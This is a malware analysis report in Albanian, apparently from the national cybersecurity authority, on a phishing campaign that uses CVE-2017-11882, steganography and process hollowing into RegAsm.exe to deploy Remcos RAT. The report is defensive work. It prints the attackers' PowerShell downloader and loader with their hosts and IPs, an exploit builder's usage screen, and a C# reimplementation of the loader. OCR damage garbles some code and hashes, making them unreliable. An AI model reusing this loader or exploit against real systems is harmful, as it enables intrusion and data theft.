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Raporti éshté hartuar pér t¢ dokumentuar dhe analizuar tentativa sulmesh kibernetike ndaj
infrastrukturave Kritike dhe té Réndésishme né Republikén e Shqipérisé. Pérmbajtja e kétij
raporti bazohet né informacionet e disponueshme deri né datén e pérfundimit té analizés.

Pércjellja e kétij raporti ka pér géllim informimin dhe ndérgjegjésimin e paléve té interesuara
mbi incidentin kibernetik t¢ dokumentuar. Raporti nuk duhet trajtuar si pérfundimtar deri né
pérditésimin final té tij.

Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti éshté bazuar né informacionet té vendosura né dispozicion
né momentin e pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga
zhvillimet aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit malinj mund té
mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né
ndryshime té raportit.

Faza e treté:

Siguria e informacionit: Pér t&¢ mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund té jené té zbutura ose jo té pérfshira né raport. Ky vendim éshté marré pér té mbajtur
integritetin dhe siguriné e té dhénave té pérdorura.

AKCESK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar ¢farédo pjesé té kétij
raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe
analizés. Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té
informacioneve té raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin
pérgjegjési pér pérdorimin e gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété
raport.
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Informacione Teknike

Eshté evidentuar garkullimi i njé fushate Phishing né infrastrukturat Kritike dhe té
Réndésishme té Informacionit né Republikén e Shqipérisé. Aktorét keqdashés, népérmjet
dérgimit té emaileve phishing, vendosin bashkélidhur skedaré té formatit doc, docx , xls, xIsx
etj., gé lidhen me produkte té Microsoft Office dhe synojné té mbledhin té dhéna té ndryshme
té sistemeve tek pajisjet qé afektohen nga infektimi népérmjet skedaréve té mésipérm.

Phishing Email
exploits 2 CVEs

GIBANJ SHIPMENT LIST 02.09.2024.docx
> |m GIBANJ SHIPMENT LIST 02.09.2024.docx

=¥
v

A

" Download
fow mage._]pa | Communicates with:
Execute|
a PowerShell B https://zeep.ly/bLrax

- Use steganography|
— to create dnlib.dill

dnlib.dll

.doc file is RTF

N

Load in memory|

INVOKE VAI
ANDE

C&cC
TN

45.90.89.98

Figura 1. Zinxhiri i Infektimit

Analiza e skedarit GIBANJ SHIPMENT LIST 02.09.2024

Skedari GIBANJ SHIPMENT LIST 02.09.2024 éshté njé skedar i tipit docx me njé madhési
prej 194 KB, i cili duke paré té dhénat e tij duket si njé skedar legjitim Wordi. Gjaté aksesimit
té tij hapet dokumenti si njé dokument i zakonshém. Fillimisht kryhet analiza statike dhe
ndryshohet prapashtesa e skedarit nga .docx né 7z dhe tentohet t’i béhet extract. Ajo ¢faré
evidentohet éshté se dallohet njé skedar embeding dhe ka dyshime se ky skedar pérmban dicka
jo legjitime. Prandaj me ané te mjeteve sandboxing kontrollohen progeset qé ekzekutohen.
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wmpnscfg.exe

CCM EQNEDT32Z.EXE -Einbedding

wscript.exe "C admin\AppData\Roaming\pictureisthebes getmebackwithyoulo VBs"

475 667 64

@3 powershel.exe -command $Codigo="J0Y £ { +BpN0 v § § +GOIBY £ | +vOBnNE Y f § +GUNRY F | HVOBYIE Y ..
stegocampaign 1k 956 Té

LE,I‘,':, powershell.exe -wind fle hidden -executionpolicy bypass -NoProfile -command *SimageUrl = hit

stegocampaign 1k 4k

RegAsm.exe CFG  DMP

" TEmMcos

Figura 2. EQNEDT32.EXE.

Ajo cfaré evidentohet éshté procesi EQNEDT32.EXE, i cili pérdoret pér t’i injektuar njé
shellcode, ku pérdoret pér té realizuar RCE (Remote Code Execution). Né& momentin gé
pérdoruesi akseson skedarin né kompjuterin e tij né sfond, ekzekutohen komanda ku ndér to
mund té realizohet dhe lidhja me serverin Command and Control.

Teknika e shfrytézuar éshté njé vulnerabilitet CVE-2017-11882 né Microsoft Office, nga ku
programi déshton té menaxhojé objektet né memorie. Ky shfrytézim thérret funksionin
WinExec me SW_HIDE dhe thérret ExitProcess pasi WinExec kthen vleré specifike.

Usage

usage: CVE-2017-11882.py [-h] -c CMD [-t {@,1}] [-i INJECT] -0 OUTPUT =
Exploit for CVE-2817-11882 gunamer({https://github.com/unamer/CVE-2817-118¢

optional arguments:

-h, --help show this help message and exit

-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)

-t {8,1}, --type {0,1}
Type (@:shellcode 1:command, default=1)

-i INJECT, --inject INJECT
Inject shellcode to new process

-0 QUTPUT, --output OUTPUT
Output exploit rtf

Example:

For remote command execution

CVE-2@17-11882.py -c cmd.exe -o test.rtf f_[..:]

Figura 3. Shfrytézimi i CVE-2017-11882.

Né rastin aktual, ajo ¢faré evidentohet éshté se ekzekutohet né kompjuterin e infektuar njé
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komandé e cila shkarkon njé skedar té ri me emrin
pictureisthebestwaytogetmebackwithyoulo.VBs dhe e ruan né path-in
C:\Users\admin\AppData\Roaming\ dhe tenton ta ekzekutojé até si proces. Nése skedarin e
hapim me ané té Notepad, ajo ¢faré dallohet éshté se né fillim té tij kemi stringun RTF,
pikérisht formati i cili del si output nga shfrytézimi i vulnerabilitetit t& pérmendur mé paré.

E bestmoviearoudntheworldtowatchbestmoviewithhergirlfrinedandboyfreindwholovebestwithhersheisverycutergirliseenalwaysever__|

1 | {\rtfl |
2
4
5 {\*\smarttagclose288863535 N\ (}
6 {\B1832861480%)6,>2+,40="/+pp:&5. " |15 2°<1%207#87(5_[4(%751%72-".0@!3,2;.0(~) 5054
7 {\*\geoBottom®71373433 \bin0000\1241772731€9024701}
5 Vignoremixedcontentl1564529%\viewkindé5087504851\ "7

14

23

24

25 48

Figﬁtﬁjra 4. Skedari pictureisthebestwaytogetmebackwithyoulo.VBs dhe pérmbajtja RTF.

Pér té kuptuar sjelljen e kétij skedari pérséri ndiget rrjedha lineare e ekzekutimit té proceseve
dhe pérséri duke gené se skedari éshté i tipit .RTF (Rich Text Format), né kompjuterin e
infektuar shfrytézohet pérseri vulnerabiliteti. Dhe ajo ¢faré evidentohet né kété rast éshté njé
komandé Powershell e cila ekzekuton disa komanda.

\ Untitled1.ps1* X
1 $imageUrl = "https://ia601706.us.archive.org/2/items/new_image_20240905/new_image.jpg’

$webClient = New-Object System.Net.webClient
$imageBytes = SwehClient.DownloadData($imageurl)

$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes)
fstartFlag = '<<BASEG4_START>>"
$endFlag = '<<BASE64_END>>"

10 $startIndex = $imageText.Index0f(3startFlag)
11  $endIndex = $imageText.IndexOf(3endFlag)

12

13 mif ($startIndex -ge 0 -and $endIndex -gt §startIndex) {

14 $startIndex += $startFlag.Length

15 $base64Length = fendIndex - $startIndex

16 $base64Command = $imageText.Substring(SstartIndex, $hasebdLength)
17

18 $commandBytes = [System.Convert]::FromBase64String($bhase64Command)
19 $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes)
20

21 $type = $loadedAssembly.GetType('dnlib.I0.Home")

22 $method = $type.GetMethod('VAI').Invoke(Snull, [object[]1] ("txt.DCCMH/234/321.98.09.54//:ptth', 'desativado’', 'desativado', 'de
23 |}

24

Figura 5. Komanda e Powershellit e ekzekutuar nga RCE.

Né kété pjesé, skedari variabli $imageurl ruan vendndodhjen e imazhit new_image.jpg. Mé
pas, krijohet njé objekt né powershell, i cili shkarkon kété imazh népérmjet WebClient, Né
variablin $imageText kthehet né njé varg karakteresh. Krijohen dy variabla $startFlag dhe
$endFlag. Me ané té njé kushti if kontrollohet dhe gjendet vendndodhja e té dhénave té
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Figura 6. Imazhi i shkarkuar

Ky éshté njé rast steganografie nga ku aktorét keqdashés kané fshehur njé pjesé kodi dhe né
variablin $commandBytes ruhet vlera e dekoduar nga base64. Mé& pas né variablin
loadedAssembly ngarkohet me ané té funksionit load nga System.Reflection.Assembly
feature né Powershell, ku té lejon té thérrasésh kod né C# gé mund té jeté nga njé skedar .exe
ose dll. Mé pas né variablin $type ruhet klasa Home nga namespace (emri | projektit)
dnlib.10

ReTpe T W W mput OO

4AbABPAGIAAAAGAASAAQBQAHIADWBKAHUAYWBOAFYAZQBYAHMAQQBVAGIAAAAXACAANQAUADAAL gAXAD)
AAAAAAA+AASAAQBBAHMACWB1AGOAYEE SAHKATABWAGUACEB zZAGKAbWBUAAAAMQAUADUAL ZAWACAAMQAL |

From Base64 ~

Alphabet
A-Za-z8-9+/=

Remove non-alphabet chars \:\ Strict mode

mc 1546924 = 1 Tr Raw Bytes

Output /. a r|:| G

MZ ¢ ULETANULHULAULEOTHULNULAULKULAUL , KULAULHULNULULAULKUL@NULALLN UL LKULAULNULA LKULNULN LA LKULULKUL U LKUL UL UL UL UL
cr canUFnukuenuinu koL ANUL" VT SOONULKULDCINGLKULACKNULNULKULNULIULNUL.
LNULKUL | E DCINUL @ NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNU

Brouuunocvouuno PEuow L

vvvvvvv

NUL ™ NULKULNULDC30 SOHNULB ELKULNULKULSOHNULNULDCINULSYN

*{srunuLeor

LA LTI STONULAULEDT KLU DSORNUL FF HULAULADLEOTRULALOC LT ETRsuLAULEOT
x

Hnueack™ & ETXNULNULEOT ™ 5T NULNULACK? sTemx () nuLvuLaCknuLNULSTXEOT sarnutnuteoT ™ @ sTxeTx () nuLnuLacn

3§ Auto Bake

Figura 7. Skedari i ekzekutueshém i gjetur nga dekodimi i base64.

Né rreshtin e fundit thérritet metoda VVAI dhe i kalon gjithsej 6 parametra, ku parametri i
fundit éshté string Regasm.exe. Pér té paré se ¢faré ndodh né kété funksion nevojitet
procedura e debug.
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Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64) — O X

File name
C:\Users\flare\Downloads\download.exe
| File type File size [ ] Advanced
PE32 1.11 MiB
Scan Endianness Architecture
Automatic LE 1386
v PE32
Library: NET(v4.0.30319)[-]

Compiler: VB.NET(-)[-]
Linker: Microsoft Linker(48.0)[DLL32]

v/ Recursive scan v/ Deep scan I:‘ Heuristic scan «/ Verbose
Scan
100% [] Al types 149 msec

Figura 8. dnlib.dll e shkarkuar.

dnlib.IO

( QBXtX, startupreg, caminhovbs, namevbs, netframework,

flag = startupreg == "1";

(caminhovbs, namevbs);

= SecurityProtocolType

(QBXEX) ) ;

9\\" + netframework + "

Figura 9. Funksioni VAI.

Funksioni VAI éshté funksioni ¢elés pér té arritur né njé pérfundim se cfaré ndodh né zinxhirin
e ekzekutimit té kétyre proceseve. Né funksion kalojné 6 parametra nga ku parametri i paré
pérmban stringun me vleré: "'txt. DCCMH/234/321.98.09.54//:ptth" i cili duke u béré reverse
kthehet né formatin ‘hxxp[://]45[.]90[.]89[.]123/432/HMCCDI.]txt" dhe shkarkohet
népérmjet klasés WebClient. Kemi dhe njé klasé me emrin Class2 me emér funksioni Start
dhe merr si parametér dy string ‘desativado’, "desativado’.
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dnlib.IO

caminhovbs, namevbs)

(caminhovbs, namevbs + ".vbs"));

Figura 10. Funksioni Start.

Kopjon ¢do skedar gé prapashtesén e ka .vbs dhe e kombinon me 2 variablat string gé kalojné
si parametér dhe modifikon njé Registry Key né ményré qé skedari té ekzekutohet kur
pérdoruesi té logohet né sistem.

File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Background ~ || Name Type Data
CapabilityA ab|(Default) REG_SZ (value not set)
cop ab|MicrosoftEdgeA.. REG_SZ "C:A\Program Files (x86)\Microsoft\Edge\Applicatio...
Census ab] NordVPN REG_SZ "CA\Program Files\NordVPN\NordVPN.exe"
ClickNote |88 Path REG_SZ desativado\desativado.vbs
CloudExper
CloudStore
ContentDeli

Figura 11. Skedari VBS.

Né funksionin VAI, né variablin text3 vlera e shkarkuar .txt dekodohet nga base64 dhe i kalon
si parametér funksionit té klasés Ande té klasés Tools dhe mé pas kalon né funksionin
HandleRun. Ky funksion pérdor kudo né kod njé klasé me emrin API e cila importon shumé
dll dhe thérriten funksionet si Virtual AllocExec,WriteProcessMemory nga kernel32 etj,
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4G ; 2000034
P BB Base Type and Interfaces
P Bl Derived Ty

API -

Figura 12. Funksionet e klasés API.

Kéto funksione pérdoren pér menaxhimin e memories sé proceseve té ndryshme té Windows,
alokimin e memories dhe né raste nga aktorét keqdashés pér té realizuar process hollowing
ose shellcode injection.
Parametri nga base64 kalon né disa algoritme dhe kalon mjaft modifikime. Ajo ¢faré dallojmé
né kété fazé Buffer.BlockCopy (data, num14, array2, 0, array2.Length) éshté gé ky funksion
kopjon té dhénat nga adresa num14 né memorien data né array-n e krijuar array2. Mé pas
WriteProcessMemory_API(...): Kjo éshté njé thirrje pér té shkruar pérmbajtjen e array-t
array2 né memorien e njé procesi tjetér, duke pérdorur njé funksion gé lejon shkrimin né
memorien e njé procesi tjetér dhe procesi éshté Regasm.exe pasi ai gjithashtu kalon si
parametér né funksion né fillim té tij. Pérséri nuk kemi informacion se ¢faré procesi po béhet
inject.

r.lum'l'l =1 Jinumle - 1); _

( i=8; i <= numll; i++)

(data, [ndng + 12);

m3

numl2
numl3

numl4 numS)
9

2
)

[]1 array2 = [numl3 - 1 + 1];
(data, numl4, array2, @, arr
API. (pr 3 ocessHandle, num8 + numl2, array2,

nums ) ;

3
numS += 48;

Figura 13. Kopjimi i njé array né memorien data.

Skedari dnlib.lo ka njé klasé me emrin Tools, ku é&shté njé dll dhe prandaj pér ta ndjekur me
debug, nevojitet té shkruhet me té njéjtén logjiké né C#, té skedarit né Powershell nga ku
shkarkohet imazhi.
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using System;

using System.Net;

using System.Text;
using System.Reflection;
using System.|O;

class Program

{

static void Main()

{

string imageUrl = "https://ia601706.us.archive.org/2/items/new_image_20240905/new_image.jpg";

// Download the image data
using (WebClient webClient = new WebClient())
{
byte[] imageBytes = webClient.DownloadData(imageUrl);

// Convert the image bytes to a string
string imageText = Encoding.UTF8.GetString(imageBytes);

string startFlag = "< <BASE64_START>>";
string endFlag = "< <BASE64_END>>";

// Find the indexes for the Base64 data
int startindex = imageText.IndexOf(startFlag);
int endindex = imageText.IndexOf(endFlag);

if (startindex >= 0 && endIndex > startindex)
{
startindex += startFlag.Length; // Move the startindex after the start flag
int base64Length = endIndex - startindex;
string dlIFile = @"C:\Users\flare\Desktop\dnlib.dll";
var assembly = Assembly.LoadFile(dllFile);
var type = assembly.GetType("dnlib.[O.Home");

// Create an uninitialized object of the type.
var method = type.GetMethod("VAI", BindingFlags.Public | BindingFlags.Static);

// Get the type from the loaded assembly

if (type != null)
{
// Get the method 'VAI' and invoke it with the specified parameters

if (method != null)
{
object result = method.Invoke(null, new object(]
{
"txt.DCCMH/234/321.98.09.54//:ptth",
"desativado”,
"desativado",
"desativado",
"RegAsm",
null

W

Console.WriteLine("Method invoked successfully.");
}
else
{
Console.WriteLine("Method 'VAI' not found.");
}
}
else
{
Console.WriteLine("Type 'dnlib.I0.Home' not found.");
}
}
else
{
Console.WriteLine("Base64 data not found in the image.");
}
}
// Optionally, wait for the user to press enter before finishing
Console.WriteLine("Press Enter to finish...");
Console.ReadLine();

QOO
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( QBXtX, startupreg, caminhovbs, namevbs, netframework,
LED]

bool flag = startupreg == "1";

(caminhovbs, namevbs);

= SecurityProtocolType.

(@BXtX));

Figura 14. Debugging i Funksionit VAL.

Evidentohet gé me sukses éshté thérritur funksioni dhe verifikohet funksioni Ande. Vlera e
vektorit data pérmban njé skedar té ekzekutueshém pasi né vlerat hex té saj dallohen
parametrat 0x4D dhe Ox5A. Kété vektor e ruajmé dhe i vendosim emrin dump.exe dhe
automatikisht logo gé merr ky skedar éshté logo e skedarit keqdashés client t¢ Remcos RAT.

[flagi@l
{

(flag11)
Exception();

numS = num + 248
numle . (data, num + 6);
numll = ( )

num12 - (data, num9
numl - (data, n

num14 n

100% ~

Locals

Name

Figura 15. Skedari i ekzekutueshém i béré dump.

Figura 16. Remcos RAT.

Ky skedar injektohet né memorien e procesit legjitim RegAsm.exe dhe evidentohet se
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procesi Reagsm.exe Krijon trafik né rrjet.

B dump.exe:16224 Properties
Image Performance Performance Graph Disk and Network GPU Graph Threads TCP/IP  Security Environment Job Strin

[“]Resolve addresses

P/r\ Local Address Remote Address State

TCP desktop-ikbrlcl.loc... 5603-1575.dchostcom:8243 ESTABLISHED
TCP desktop-ikbrlcl.loc.. 178.237.33.50:http CLOSE_WAIT

Figura 17. Komunikimi me serverin Command and Control.

MITRE ATT&CK
Nr. Taktika Teknika
T1566: Phishing
1 Initial Access (TA0001) —
T1566.001: Spear phishing
Attachment
5 Execution (TA0002) T1053.005: Scheduled Task

T1204.002: Malicious File
T1547.001: Registry Run Keys/
3 Persistence (TA0003) Startup Folder

T1053.005: Scheduled Task

T1140: Deobfuscation

4 Privilege Escalation (TA0004) T1055.012: Process Hollowing
T1053.005: Scheduled Task

T1564.001: Hidden Files and
Directories

5 Defense Evasion (TA0005) TA1562.001: Disable or Modify Tools
T1055.012: Process Hollowing
T1564.003: Hidden Window

T1555.003: Credentials from
WebBrowser

TA1552.001: Credentials in files
TA1552.002: Credentials in registry
T1087.001: Local Account

7 Discovery (TA0007) T1057: Process Discovery

T1082: System Information Discovery

6 Credential Access (TA0006)
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T1560: Archive Collect Data
T1217: Browser Information
Collection (TA0009) Discovery
T1115: Clipboard Data
T1005: Data from Local System
T1048.003 —  Exfiltration  Over
Exfiltration (TA0010) Unencrypted NON Command-and-
Control Protocol
10 Command and Control (TA0011) | T1056.001: Keylogging

Indikatorét e Komprometimit

GIBANJ SHIPMENT LIST 02.09.2024.docx
71e3093a193a5h098e9554565d8f03eb1b92439232718¢chbb91f7a34096fdac33

RTF File
€34202144bc27f5a4ee328d03412eecc9241d75c4bffad4f40ad1ces5c7340b0c

C2: 45[.]90[.]89[.]98

Downloader:

hxxps[://]zeep[.]ly/bLrax
hxxp[://]145[.]90[.]89[.]123/432/HMCCDI.]txt
45[.]190[.189[.]123

45[.]190[.189[.]3

45[.]190[.189][.]46

208[.]123[.]119[.]192

Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

Bllokimin e menjéhershém té Indikatoréve t¢ Komprometimit, té pérmendura mé sipér né
pajisjet tuaja mbrojtése.

Analizimin e vazhdueshém té logeve gé vijné nga SIEM (Security information and Event
Management).

Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat ¢ shmangies sé
infektimit prej tyre.

Instalimin e pajisjeve té perimetrit té rrjetit gé béjné analizé té thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

Sistemet e evidentuara té segmentohen né VLAN-e t€ ndryshme, duke aplikuar “Access
control list pér t€ gjith€ perimetrin e rrjetit”, webserviset duhet té jené€ t€ ndaré€ nga Databaza
e tyre, Active Directory duhet té jeté né njé VLAN té ndaré.
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Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menagjimin e
fjalékalimeve té€ Administratoréve Lokal.

Té aplikohen filtra té trafikut né rastin e aksesimit né distancé té hosteve (punonjésve/palé
té treta/klienté).

Té implementohen zgjidhje gé kryen filtrimin, monitorimin dhe bllokimin e trafikut
keqdashés ndérmijet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).
T¢€ kryhen analiza té trafikut n€ nivel sjellje “behaviour” pér pajisjet fundore, aplikimi 1
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

Té projektohet zgjidhja pér menaxhimin e aksesit t€ pérdoruesve “Identity Access
Management” pér t€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale
sipas parimit “zero-trust”.
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